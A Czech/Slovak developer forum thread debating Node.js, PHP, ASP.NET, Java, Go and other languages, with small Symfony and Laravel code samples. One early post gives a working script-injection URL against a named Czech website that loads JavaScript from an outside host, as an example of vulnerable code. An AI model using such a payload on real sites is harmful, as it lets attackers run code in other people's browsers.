Fórum Root.cz

Hlavní témata => Vývoj => Téma založeno: Mlocik97 20. 09. 2017, 21:42:07

Název: Node.js vs PHP vs ASP.NET
Přispěvatel: Mlocik97 20. 09. 2017, 21:42:07
Dobrý večer, chcel by som sa spýtať iba na Váš osobný názor čo považujete za pozitíva a čo za negatíva Node.js, PHP a ASP.NET alebo vaše porovnanie medzi nimi.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: linuxak 20. 09. 2017, 22:14:52
Jako backendak (c++, python) nesnasim js na serverove strane (node.js), php jsem hodil za hlavu pred 10 lety, asp.net je microsoft. Doporucil bych javu pro zacatek.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 20. 09. 2017, 22:29:11
Node.js, PHP

Hele, PHP je super na to, abys projekt napráskal.
Prostě si k tomu sedneš, prasíš, prasíš, prasíš a ono to pak FUNGUJE.
Často to funguje i roky a dobře!

Někdo ti to může sprasit ať už to napíšeš v čemkoliv:
http://www.spd.cz/akce?date=2017-09-11%27);$.getScript(%27http://www.krtek.net/spd.js%27);$(%27#kokoti&month=09&year=2017 (http://www.spd.cz/akce?date=2017-09-11%27);$.getScript(%27http://www.krtek.net/spd.js%27);$(%27#kokoti&month=09&year=2017)

Nejvíc spraseného kódu je údajně v PHP, ale to jde ruku v ruce, v PHP prostě sedneš a píšeš.
Dokonce i osel se v tom naučí za chvilku pracovat.

Teď se pojďme podívat na Javu a ASP.NET.
Tady už to chce znát takové ty věci jako MVC/MVP/MVVM a tak dále.
Není to o tom, že sedneš a píšeš.
Musíš mít poměrně DOBŘE promyšlené to, co chceš napsat.

Tak třeba tahle rada:
Doporucil bych javu pro zacatek.
Někde jsem slyšel, že Javisti nemají s chybami problémy, částečně protože si zvykli, že to mají pořád rozbité a částečně proto, že Java jako Jazyk tě vede a děláš daleko méně kravin. Java jako taková je ČISTÁ, relativně čistá, proto ty také píšeš čistý kód.

ALE MUSÍŠ TO MÍT DOBŘE ROZMYŠLENÉ!
Neexistuje, že by ses rozhodl, že tvoje aplikace pro evidenci nalezených psích bobků bude evidovat chybějící dopravní značky.

Není to o tom, jestli je lepší to nebo ono.
Je to o tobě.
Kdybych chtěl napsat velkou věc, znal přesné zadání a datový model, napíšu to v C#, protože v tom dělám.
(V Java by ten projekt vypadal nejspíš lépe!)
Kdybych chtěl začít prasit a vlastně ani tak přesně nevěděl, co chci splácat, vykašlu se na všechny modely a naprasím si to v PHP, includnu si do daných PHP skriptů připojení k databázi, šáhnu si pro to, co potřebuju, nebudu se otravovat s nějakým NHibernate, prostě to naprasím, budu se soustředit ČISTĚ NA VÝSTUP. Získám tak neuvěřitelně rychle fungující "prototyp".

Node.js je pěkná a dnes už prověřená technologie.
Pro ty, kteří milují Javascirpt (s Javou to nemá nic společného), fajn.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 20. 09. 2017, 22:40:22
Doplnění:

Podle tvé otázky s programováním nemáš moc zkušeností, takže tě ještě krátce uvedu do problému.
Abys mohl psát pro web něco, na co budou koukat lidi, potřebuješ:

- HTML5 + eventy
- zmáknout CSS
- Alespoň základní Javascript
- Programovací jazyk na serveru
- Databáze

Pokud si tam zamícháš ještě pokročilý programovací jazyk, musíš přidat návrhové vzory, ono prasit v Java jde, ale prasí se v tom blbě. Už třeba jen předávání si session z jednoho spraseného objektu do druhého spraseného objektu.
Je s tím víc drbání než v PHP, PHP je na prasení tak nějak uvyklé.
PHP je i jednodušší na ladění, hosting na tom najdeš úplně všude, nepotřebuješ žádné pokročilé IDE a je to prostě noob friedly.

Hele, ono toho je dost, takže pro dobrou radu musíš uvážit projekt, který chceš napsat, svoje schopnosti a přizpůsobit to tomu. Opravdu tě NECHCI nijak urazit, snažím se ti zhruba načrtnout situaci.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Honza 20. 09. 2017, 23:04:07
Vybírat mezi Node.js, PHP, ASP.Net a Javou, víte jak mi to přijde? Je to podobné, jako u voleb volit parlamentní strany, a zároveň na ně stále nadávat. Někdo nadává více, někdo méně, na tohle, nebo na tamto. Ale žádná změna nepřijde. O ji totiž vlastně nikdo nechce. Nic jiného údajně nemá šanci, nebo nic jiného neznáme.
Žádný rozdíl v tom nevidím. Myslí si to někdo taky?
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 20. 09. 2017, 23:29:54
Bez kontextu těžko radit. Obecně to je všechno z bláta do louže, pro trochu větší projekt to chce například Go nebo C++ nebo Swift nebo Rust (nativně kompilované a rychlé) nebo něco podobného. Na malé projekty stačí třeba ten node.js, jazyk je sice pakárna, ale celé to běží nad libuv a jde-li jen o servírování dat bez nějakých výpočtů, je to schůdné řešení.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: abbc 21. 09. 2017, 00:58:53

Nemyslim si, ze je to tak. Dnes sa prasi v PHP rovnako ako sa prasi v Jave, alebo v akomkolvek inom jazyku. Kazdy, kto to so svojim projektom mysli vazne, sa praseniu snazi vyhnut (dufam!).

Snad si uz nikto rozumny dnes nepise (pre stredne velke a velke projekty) v PHP vlastny framework tak, ako sa to robilo pred rokmi. Zvycajne sa pouzije bud Symfony, alebo Laravel.

Vacsina ludi si dnes uz nepise ani raw SQL query ako sa to robilo pred par rokmi. Pouzije sa radsej nejake ORM, kedze uz je vacsinou sucastou niektoreho z popularnych frameworkov - ci uz je to Doctrine ORM, alebo Eloquent. Vyzera to velmi podobne ako v Jave.

Priklad entity v Symfony:
Kód: [Vybrat]
/**
 * @Entity
 * @Table(name="users")
 */
class User
{
    /**
     * @Id
     * @GeneratedValue
     * @Column(type="integer")
     * @var int
     */
    protected $id;
   
    /**
     * @Column(type="string")
     * @var string
     */
    protected $name;

    // gettery a settery
}

Priklad query v Laravel:
Kód: [Vybrat]
$users = DB::table('users')
                ->where('age', '>', 20)
                ->orderBy('name', 'desc')
                ->get();

dokonca Symfony a aj Laravel poskytuju nastroje, vdaka ktorym si mozem vygenerovat modely, tabulky, controllery, listenery, eventy a mnoho dalsieho a tak si usetrim cas pisanim zbytocneho boilerplate kodu. Popravde, na nieco podobne som v Jave ani v C# nenarazil.

Generovanie modelu a zaroven resource "CRUD" controlleru a migracie v Laravel pomocou nastroja Artisan (jeden riadok v terminaly :o)
Kód: [Vybrat]
$ php artisan make:model -mr User
Taktiez nesuhlasim, ze v PHP clovek nemusi poznat navrhove vzory a ze ho vobec nemusi zaujimat nejake to MVC, totiz spominane frameworky su zvacsa prave MVC frameworky. Bezne sa pouziva DI, kontajnery, zavislosti sa riesia pomocou dependency managera (composer).

Ano, suhlasim PHP sa ladi celkom dobre, obcas pouzivam xdebug v kombinacii s Eclipsom a je to naozaj pohodlne a ano ked kodis v PHP, tak IDE nepotrebujes. Rovnako ako ho nepotrebujes ani pri pisani Java, JS, C++, Haskell aplikacii, ale niektorym ludom (nie mne :) ) vyhovuje viac ako Vim.

PS: Ohladom vykonu, ktory tu spomenuty nebol, tak PHP 7 si oproti starsim verziam vyrazne polepsilo.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 21. 09. 2017, 01:20:06

PHP je ohýbák a když na něj použiješ sto rovnáků, získáš "zase cca rovný kus tyčky".
To, co píšeš, je samozřejmě TROCHU pravda, řada lidí se snaží z PHP udělat Javu/.NET.
Je to stejná konina, jako se snažit napsat textový editor v BASH!

Tady:
Ti možná potvrdí, že v Java byl podobný experiment, kdy se z Java snažili udělat pro změnu PHP.

No ano, PHP ti skutečně dává možnosti dělat v PHP a přitom si hrát na to, že používáš highendovou technologii, stejně jako si můžeš do své staré felicie koupit plyšové kostky na zrcátko, potahy z leopardí kůže přilepit si na to přítlačné křídlo. No a stejně směšně to pak připadá lidem, kteří používají pro daný účel mnohem vhodnější jazyky.

Joooooo můžeš to v tom PHP lepit včetně návrhových vzorů a všech těch věcí z pořádných jazyků.
Dokonce si můžeš hrát i na unit testy, alespoň existovalo PHPunit co si pamatuji.
Když z toho budeš mít orgasmus, tak ti to přeju.

Jenže je to asi tak směšné, jako to přítlačné křídlo na té felicii.
Jestliže používáš návrhové vzory, objektově relační zobrazení, unit testy a auditovaný kód, fakt se podívej po něčem jiném, než je PHP.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Diskobolos 21. 09. 2017, 06:16:57

A jéje, zase se vyjadřuje někdo, kdo tomu nerozumí a je plný mindráků.

Pokud se rozhodneš dělat v nějakém opravdu MVC frameworku (Symfony, Nette) pod PHP 7.x, budeš mít alespoň nějaké ponění o OOP (to využiješ napříč jazyky), můžeš dělat plnohodnotné webové aplikace. Získané návyky využiješ později v Javě i .NET.

Výhodou PHP je, že můžeš začít hned (LAMP/WAMP, Symfony, Nette). S Javou potřebuješ nějaké základní znalosti na začátek (trvá to, než uděláš svůj první Hello world).
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 21. 09. 2017, 08:51:26
PHP je ohýbák a když na něj použiješ sto rovnáků, získáš "zase cca rovný kus tyčky".
....
Jestliže používáš návrhové vzory, objektově relační zobrazení, unit testy a auditovaný kód, fakt se podívej po něčem jiném, než je PHP.
Kecáš z neznalosti. Evidentne ti nejakej phpkar voklatil starou a ty to porad pripisujes programovani misto jeho vohejbaku.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: maslo 21. 09. 2017, 09:25:02
Prasti jak uhod. Vsechny jsou +/- stejne Node.js je malinko vykonnejsi kvuli sve asynchronni nature a protoze nepotrebuje http server. ASP.NET je samozrejme windows server only, ostatni jsou multiplatfo.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Youda 21. 09. 2017, 09:41:44
NodeJS je IMHO hype ktere pujde do kytek. Kazdy kdo ma do zadele diru ma puzeni udelat si vlastni balickovaci system. Celkove je to svincik, kde se API knihoven prekopavaji co dva mesice.

PHP uz dneska nema moc co nabidnout, existuji pro to knihovny aby se to dalo pouzit, ale jsou to rovnaky na ohybak. Komedie typu if($x = $y) vs. id ($x ==  $y) vs. if($x === $y) zustavaji, jazyk umoznuje prasit, kompiler to nepochyta a developer pak jenom cumi.

ASP.NET taky nema moc co nabidnout, je podobny Jawe, ale nema kolem sebe ekosystem mavenu a Apache Foundation.

Osobne nyni doporucuju Jawu + Go. Go obecne nyni nahrzuje NodeJS
Java + Angular || Spring MVC Thymeleaf || Bootstrap na venkovni web
Java + Primefaces na  intranety
Go na time critical veci a na mikroservices
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 21. 09. 2017, 09:52:39
Go obecne nyni nahrzuje NodeJS
Tak, už i tvůrce node.js Dahl přešel na Go.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: had 21. 09. 2017, 09:55:09
ze tu nikdo nezminil Python   a frameworky django, flask
jako jedni z mala se snazi usetrit cas a ne hazet klacky pod nohy picovinama a chorejma navrhama
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 21. 09. 2017, 11:31:44

Jsem nevěděl, že prasíš v PHP  ;D a já tě měl za programátora  ;D
(https://media.giphy.com/media/l46C4KZuWXhWbJbt6/giphy.gif)
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: lepič kódu 21. 09. 2017, 11:31:54
Ostatní komenty jsem nečetl.

Facebook používá PHP, to je asi dostatečná odpověď.

Lidi sice PHP hejtěj, ale realita je taková, že prase bude jako prase programovat v čemkoliv, to není o jazyku.

PHP třeba jako asi jeden z mála rozšířených programovacích jazyků by umožnoval realizovat něco jako SAP, kde je relativně stěžejní použití Enhancement Points, což je defakto takovej include, kdy ten obsah toho includu má normálně přístup ke kontextu, jako lokální proměnné metody apod..

Lidi si myslí, že čím složitější jazyk, tím jsou větší machři, ale o tom to vůbec není že jo.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 11:51:22
PHP třeba jako asi jeden z mála rozšířených programovacích jazyků by umožnoval realizovat něco jako SAP, ...

ERP mi v PHP normálně funguje, je to běžná realita.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Logik 21. 09. 2017, 12:36:05
lepič:
tak zrovna přístup k nadřazenýmu kontextu (což umožní udělat ten Enhancment point) umí víc jazyků. Např. právě zmíněnej Python. Akorát v Pythonu to nebude tak přímočaré - což je ale jen dobře, protože takovoudle prasečinu ať píše jen člověk, co něco umí a ví, co dělá.

A když už jsme u toho, jsem nucen psát v pythonu a v PHP. A furt skřípám zubama nad tím, co všechno se v PHP píše blbě nebo nejde napsat vůbec. V Pythonu mi oproti PHP schází jen rychlý způsob zápisu kolekce OrderedDict....

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: andy 21. 09. 2017, 12:47:13
PHP ma taku peknu vlastnost, ze si clovek uploadne na zdielany web hosting dajme tomu 10G zdrojakov a pobezi to (pokial teda vsetok ten kod nebezi v 1 requeste..). Neviem sice, ako by sa v tom orientoval, ale dobre.. Alebo si na 1 hosting naplaca CRM, nejaky issue&project tracking, nieco, nieco a pri malej zatazi to pojde. Tym ale asi tie pekne vlastnosti koncia a dnes uz je to jedno, ked clovek moze mat za 4 eura VPS.

ps: facebook si vyvinul vlastny jazyk do ktoreho by sa im lahko portovalo, lebo PHP sux
pps: prejdite na jediny pravy oop jazyk smalltalk, nebudete mat tieto dilemy :D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Youda 21. 09. 2017, 12:50:23

Facebook používá PHP, to je asi dostatečná odpověď.

PHP třeba jako asi jeden z mála rozšířených programovacích jazyků by umožnoval realizovat něco jako SAP, kde je relativně stěžejní použití Enhancement Points, což je defakto takovej include, kdy ten obsah toho includu má normálně přístup ke kontextu, jako lokální proměnné metody apod..

Facebook pouziva PHP jako zatez z minulosti ze zoufalstvi a vyztuzujou to pomerne divokymi hacky.
https://cs.wikipedia.org/wiki/HipHop_for_PHP

Code injection pomoci include je dost nebezpecna prasarna, kde si injektor muze s obalujicim kodem delat do chce.
Slusne jazyky resi stejny problem jinak a lepe, Java napr. pomoci Spring  @Autowire nebo Groovy - lze provadet pouze to, co enhancement point interface dovoli.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: mon 21. 09. 2017, 13:04:27
Z tych troch? asp.net, resp asp.net core


Node.js a PHP maju najvacsiu slavu za sebou a lepsie uz nebudu (to plati aj pre ruby). Ostatne tu uz bolo povedane - java, python, go,  (rust by som zrovna na webappky nevybral)

Ale ako tu nieto dobre povedal, chyba kontext: co chces robit, pre koho to chces robit (ty, alebo daky zamestnavetel), ako dlho to ma fungovat, atd... bo univerzalny nastroj neexistuje
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 21. 09. 2017, 13:12:31
PHP maju najvacsiu slavu za sebou

To určitě ne, v PHP je velký potenciál na prototypování, malé projekty a "první verze".
Stejně tak jako programování (bash) shellu není odepsané.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Honza 21. 09. 2017, 13:13:31
pps: prejdite na jediny pravy oop jazyk smalltalk, nebudete mat tieto dilemy :D
+1
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 21. 09. 2017, 14:15:18
co všechno se v PHP píše blbě nebo nejde napsat vůbec
tak rekni rovnou, ze to neumis.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 15:00:32
A furt skřípám zubama nad tím, co všechno se v PHP píše blbě nebo nejde napsat vůbec...

PHP se na grafický desktop nehodí, používá se jako backend nebo CLI. Jako frondend můžeš použít nějaký browser nebo si napiš HTTP klienta v čem chceš - jen se to nesnaž dělat v PHP.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 21. 09. 2017, 16:05:08
PHP se na grafický desktop nehodí
tak jako nehodi, ale kdyby po tom strasne moc touzil tak to treba s pomoci GTK lze.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: jpu 21. 09. 2017, 16:06:11
Jednoznacne by som volil Haskell
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 21. 09. 2017, 16:19:39
Jednoznacne by som volil Haskell
Jo, a kritické rutiny budou v asembleru :)
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 16:24:24
PHP se na grafický desktop nehodí
tak jako nehodi, ale kdyby po tom strasne moc touzil tak to treba s pomoci GTK lze.

Možná by to šlo, ale už by se jednalo o zmiňovaný rovnák na ohejbák. Napsat si svého grafického klienta třeba v Pythonu je mnohem jednodušší, než kvůli tomu ohýbat PHP. Jakkoli ten jazyk mám rád, vím, kde jsou jeho hranice rozumného použití, které není radno zbytečně překračovat.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: K42 21. 09. 2017, 17:00:15
Jo, a kritické rutiny budou v asembleru :)

Pane kolego... kritické rutiny jedině v COBOLu  ;D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 17:07:05
Jo, a kritické rutiny budou v asembleru :)

Pane kolego... kritické rutiny jedině v COBOLu  ;D

Nebo ve Fortranu!
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: DotNetGuy 21. 09. 2017, 17:16:30
Prasti jak uhod. Vsechny jsou +/- stejne Node.js je malinko vykonnejsi kvuli sve asynchronni nature a protoze nepotrebuje http server. ASP.NET je samozrejme windows server only, ostatni jsou multiplatfo.

Co to meleš?
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 17:27:04
Prasti jak uhod. Vsechny jsou +/- stejne Node.js je malinko vykonnejsi kvuli sve asynchronni nature a protoze nepotrebuje http server. ASP.NET je samozrejme windows server only, ostatni jsou multiplatfo.

Co to meleš?

Žádný z nich nepotřebuje HTTP server, neboť každý má svůj. Python také.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 21. 09. 2017, 17:28:02
...a protoze nepotrebuje http server...
Co to meleš?

Ale za určitých okolností má pravdu - i když se to tak běžně nepoužívá.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 21. 09. 2017, 17:46:30
Jo, a kritické rutiny budou v asembleru :)

Pane kolego... kritické rutiny jedině v COBOLu  ;D
Nebo ve Fortranu!
Fortran žádné výhody oproti jiným jazykům nepřináší.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 18:11:52
Jo, a kritické rutiny budou v asembleru :)

Pane kolego... kritické rutiny jedině v COBOLu  ;D
Nebo ve Fortranu!
Fortran žádné výhody oproti jiným jazykům nepřináší.

Fortran je rychlejší než C a na rozdíl od C umí pracovat s poli.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 21. 09. 2017, 18:16:20
Jo, a kritické rutiny budou v asembleru :)

Pane kolego... kritické rutiny jedině v COBOLu  ;D
Nebo ve Fortranu!
Fortran žádné výhody oproti jiným jazykům nepřináší.

Fortran je rychlejší než C a na rozdíl od C umí pracovat s poli.
Není rychlejší, když se použije restrict.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 18:45:25
Fortran žádné výhody oproti jiným jazykům nepřináší.

Fortran je rychlejší než C a na rozdíl od C umí pracovat s poli.
Není rychlejší, když se použije restrict.

Když použiješ restrict, výrazně se tím sníží spolehlivost aplikace, což je docela krutá daň za to, že se jen vyrovnáš výkonu Fortranu.

Pak tady máme ještě ta pole, komplexní čísla, čitelnost aplikace,... S nějakým C ho jen tak nedohoníš.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: DotNetGuy 21. 09. 2017, 21:19:10
Jako vždy se to tu obrátí v nesmyslnou diskuzi okolo Fortranu a Haskellu, který dneska jaksi už neletěj  ;D nebo se minimálně nepoužívaj za "normálních okolností"
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 21:47:31
Jako vždy se to tu obrátí v nesmyslnou diskuzi okolo Fortranu a Haskellu, který dneska jaksi už neletěj  ;D nebo se minimálně nepoužívaj za "normálních okolností"

K čemu je nám informace, že některé jazyky dnes už neletí?

Byly tady uvedeny další jazyky, které by potenciálně byly pro daný účel použitelné. A to jsme si zatím nevzpomněli na Prolog, Lisp, Ruby a pár dalších aktuálních jazyků.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 21. 09. 2017, 22:18:48
Pro mě je náhodou informace, že autor node.js přešel na GO, docela zajímavá a podstatná.
Ruby se tu probírala a padlo tu, že je snad už ve stádiu scípnutí, což je pro mě taky velká novinka.
Ani o tom, že Lisp a Perl jsou nějaké polochcíplé jsem nevěděl.
Stejně tak je pro mě užitečná informace, že Python přežil a roste.

Nepoužívá se Ruby jako skriptovací jazyk poměrně se značnou oblibou?
Myslím, že jsem někde něco slyšel o tom, že se Ruby SNADNO používá jako skriptovací jazyk uvnitř C#.
Tj. pokud chci udělat nějakou aplikaci a chci tam mít skripty, dá se dá poměrně snadno přidat kompilátor, protože je fakt easy.

Nějaké slušné overview se hodí pro udržení přehledu.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: gll 21. 09. 2017, 22:47:44
Pro mě je náhodou informace, že autor node.js přešel na GO, docela zajímavá a podstatná.
Ruby se tu probírala a padlo tu, že je snad už ve stádiu scípnutí, což je pro mě taky velká novinka.
Ani o tom, že Lisp a Perl jsou nějaké polochcíplé jsem nevěděl.
Stejně tak je pro mě užitečná informace, že Python přežil a roste.

Nepoužívá se Ruby jako skriptovací jazyk poměrně se značnou oblibou?
Myslím, že jsem někde něco slyšel o tom, že se Ruby SNADNO používá jako skriptovací jazyk uvnitř C#.
Tj. pokud chci udělat nějakou aplikaci a chci tam mít skripty, dá se dá poměrně snadno přidat kompilátor, protože je fakt easy.

Nějaké slušné overview se hodí pro udržení přehledu.

co chceš svojimi příspěvky sdělit? Něco tak povrchního a neinformovaného jsem nečetl ani na živě.cz.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 22:50:05
Pro mě je náhodou informace, že autor node.js přešel na GO, docela zajímavá a podstatná.
Ruby se tu probírala a padlo tu, že je snad už ve stádiu scípnutí, což je pro mě taky velká novinka.
Ani o tom, že Lisp a Perl jsou nějaké polochcíplé jsem nevěděl.
Stejně tak je pro mě užitečná informace, že Python přežil a roste.
Nepoužívá se Ruby jako skriptovací jazyk poměrně se značnou oblibou?

Ruby používám jako plugin do Vimu pro off-line generování HTML, XML i XSLT.

V Pythonu jsem si napsal specializovaný browser, ale server je v něm také za chvilku.

Racket je novodobým klonem Lispu, ve kterém se dá napsat webserver na 3 řádky.

Na Perl bych málem zapomněl, stále na něm jede hromada webových aplikací.

Co třeba Bash? V něm jsem si kdysi napsal webový server i klienta.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Ladik 21. 09. 2017, 23:05:18
Žádný z nich nepotřebuje HTTP server, neboť každý má svůj. Python také.

Jakyzeto httpserver ma PHP nebo ASP ?
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 21. 09. 2017, 23:17:34
Jakyzeto httpserver ma PHP nebo ASP ?
Jak u jinych nevim, ale PHP ma proste v sobe HTTP server - si to hod do google.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 21. 09. 2017, 23:18:53
Žádný z nich nepotřebuje HTTP server, neboť každý má svůj. Python také.

Jakyzeto httpserver ma PHP nebo ASP ?

Nemyslím si, že by ASP zůstalo pozadu za ostatními.

PHP má svůj vlastní webserver od verze 5.4. Používám ho denně. Občas mi na desktopu běží současně i 5 PHP serverů, každý na jiném portu. Je to skvělé pro testování, neboť logy běží přímo v konzoli a dají se libovolně přesměrovat do vyhodnocení testu.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 21. 09. 2017, 23:37:12
Fortran žádné výhody oproti jiným jazykům nepřináší.

Fortran je rychlejší než C
Není rychlejší, když se použije restrict.
Když použiješ restrict, výrazně se tím sníží spolehlivost aplikace
Bude tak spolehlivá jako verze ve Fortranu. Vygenerovaný kód bude zhruba stejný co do struktury i výkonu.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 22. 09. 2017, 00:02:35
Fortran žádné výhody oproti jiným jazykům nepřináší.

Fortran je rychlejší než C
Není rychlejší, když se použije restrict.
Když použiješ restrict, výrazně se tím sníží spolehlivost aplikace
Bude tak spolehlivá jako verze ve Fortranu. Vygenerovaný kód bude zhruba stejný co do struktury i výkonu.

V tom případě opět vítězí Fortran, neboť má mnohem čitelnější zdrojový kód než C. Plus zmíněný bonus ve formě práce s poli a komplexní aritmetikou.

Jazyk C se možná hodí pro psaní operačních systémů, ale na aplikace už tolik vhodný není. Má takové množství nešvarů, že je v dnešní době už téměř nepoužitelný, pokud chceme mít aplikaci hotovou v nějakém rozumném čase.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 22. 09. 2017, 00:15:54
C se možná hodí pro psaní operačních systémů, ale na aplikace už tolik vhodný není.

Máš pravdu.
Cčko se hodí na vážně low level věci nebo na výpočty.
Ostatně OpenCL/Cuda jsou v Cčku a je jen dobře, že jsou v Cčku.

Produktivita práce v C# je proti C nesrovnatelně vyšší, nemusíš se prakticky vůbec o nic starat a myslíš jen na vyřešení problému.

Nicméně jsem uvažoval o tom, že bych se asi měl naučit i funkcionální programování.
Ostatně jsem tady někde na Rootu viděl docela pěkný článek, řekl bych poměrně přesvědčivý.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 22. 09. 2017, 00:31:29
Nicméně jsem uvažoval o tom, že bych se asi měl naučit i funkcionální programování.
Tak hodně štěstí s kategoriemi a triádami ;)
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 22. 09. 2017, 01:17:57
Tak hodně štěstí s kategoriemi a triádami ;)

Asi nemyslíš tohle https://cs.wikipedia.org/wiki/Jadern%C3%A1_tri%C3%A1da (https://cs.wikipedia.org/wiki/Jadern%C3%A1_tri%C3%A1da) ani tohle https://cs.wikipedia.org/wiki/Tri%C3%A1da_(organizace) (https://cs.wikipedia.org/wiki/Tri%C3%A1da_(organizace)) viď  ;D ?

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Hmmm 22. 09. 2017, 14:14:13
Pro mě je náhodou informace, že autor node.js přešel na GO, docela zajímavá a podstatná.
Ani nie. Tak ako vo vsetkom je dolezity kontext. Pretoze, ako uz bolo stokrat povedane, kazdy jazyk sa hodi na nieco ine a pristup roky programovat vsetko v jednom jazyku je proste volovina. Preto tato informacia nema prakticky ziaden vyznam.
A pokial autor node.js presiel na GO len tak lebo hipsterina, tak ta informacia uz duplom nema ziaden vyznam.

Jazyk nie je manzelka.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Youda 22. 09. 2017, 15:19:06
Pro mě je náhodou informace, že autor node.js přešel na GO, docela zajímavá a podstatná.
Ani nie. Tak ako vo vsetkom je dolezity kontext. Pretoze, ako uz bolo stokrat povedane, kazdy jazyk sa hodi na nieco ine a pristup roky programovat vsetko v jednom jazyku je proste volovina. Preto tato informacia nema prakticky ziaden vyznam.
A pokial autor node.js presiel na GO len tak lebo hipsterina, tak ta informacia uz duplom nema ziaden vyznam.

Jazyk nie je manzelka.

Hlavni duvod proc NodeJS vubec vznikl je jeho vyhoda v async/callback zpracovani requestu, kde ziskas velice slusny throughput pro velke mnozstvi malych (neobsahujicich slozite vypocty) requestu. Napr. oproti enterprise Jave, ktera na kazdy request vyrabi hromadu objektu v ulozenych v RequestContextu a simultanni thread.
Nevyhoda NodeJS je zase v onom callback hellu, ktery generuje a ve kterem je vyzva implementovat i blby for cyklus... A dale ze request loop bezi v jednom threadu.

Dneska v GO dosahnes vyhod NodeJS prostym vytvorenim poolu gorutin, (zajistuje go package net/http ani by se koder nejak staral), pricemz gorutiny (lightweight thready ktere scheduluje primo go runtime) se automaticky mapuji na OS thready/procesy.

Podrobne je to popsano zde:
https://www.toptal.com/back-end/server-side-io-performance-node-php-java-go

S prichodem GO uz NodeJS nema smysl, GO implementuje vyhody NodeJS ale nezavadi jeho nevyhody. Programuje se v nem velice dobre, slozitost neco mezi Ceckem a za ruku vedouci Jawou.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Honza 22. 09. 2017, 15:21:38
Pretoze, ako uz bolo stokrat povedane, kazdy jazyk sa hodi na nieco ine a pristup roky programovat vsetko v jednom jazyku je proste volovina.
To, že to bylo řečené stokrát, ještě neznamená, že to tak je. Programovací jazyk je univerzální nástroj (měl by být). Pokud se na něco konkrétní jazyk nehodí (ať už z jakéhokoliv důvodu), tak má problém ten jazyk resp. jeho implementace, není to možné říct obecně o všech! Tak například se dá říct, že PHP se nehodí pro programování aplikací jako je Facebook, a ejhle..
Navíc pak by se dalo říct, že všichni programátoři, kteří programují v jednom jazyce jsou volové, no to snad ne...?
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 22. 09. 2017, 15:29:28
S prichodem GO uz NodeJS nema smysl, GO implementuje vyhody NodeJS ale nezavadi jeho nevyhody. Programuje se v nem velice dobre, slozitost neco mezi Ceckem a za ruku vedouci Jawou.

+1 za velmi dobré vysvětlení

Já to právě tak pochopil, že NodeJS ztratilo smysl.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 22. 09. 2017, 15:39:11
Zalezi v prvni rade co v tom chces psat.

Jestli chces po staru kombinovat nejakej JavaScript na klientu, do nejaky sablony renderovat data na serveru a pak to spolu chroustat dohromady, pouzij treba ASP.NET. Pravdepodobne skoncis u nejakeho REST API, nejakeho nosql provider ala Elastic a Razoru s jQuery.

